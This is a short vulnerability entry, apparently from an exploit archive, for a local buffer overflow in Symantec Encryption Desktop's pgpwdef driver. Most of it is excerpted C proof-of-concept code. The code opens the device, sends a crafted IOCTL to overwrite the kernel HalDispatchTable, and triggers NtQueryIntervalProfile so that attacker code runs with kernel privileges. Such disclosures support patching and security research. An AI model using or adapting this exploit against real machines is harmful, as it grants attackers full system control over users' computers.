source: https://www.securityfocus.com/bid/57835/info
Symantec Encryption Desktop is prone to a local buffer-overflow vulnerability.
A local attacker may exploit this issue to execute arbitrary code with escalated privileges.
#define IO_CONTROL_VULN 0x80022058
#define TARGET_DEVICE L"\\Device\\pgpwdef"
[..]
usName.Buffer = TARGET_DEVICE;
usName.Length = usName.MaximumLength =
(USHORT)(wcslen(usName.Buffer) * sizeof(WCHAR));
InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE ,
NULL, NULL);
// get handle of target devide
ns = f_NtOpenFile(
&hDev,
FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
&ObjAttr,
&StatusBlock,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT
);
[..]
BOOL bStatus = DeviceIoControl(
hDev,
IO_CONTROL_VULN,
InBuff, 0x8,
OutBuff, 0x8,
&dwReturnLen, NULL
);
dwReturnLen = 0;
bStatus = DeviceIoControl(
hDev,
IO_CONTROL_VULN,
InBuff, sizeof(PVOID),
(PUCHAR)m_HalDispatchTable, 0,
&dwReturnLen, NULL
);
[..]
f_NtQueryIntervalProfile(ProfileTotalIssues, &Interval);
[..]
Your evil code processes with CPL==0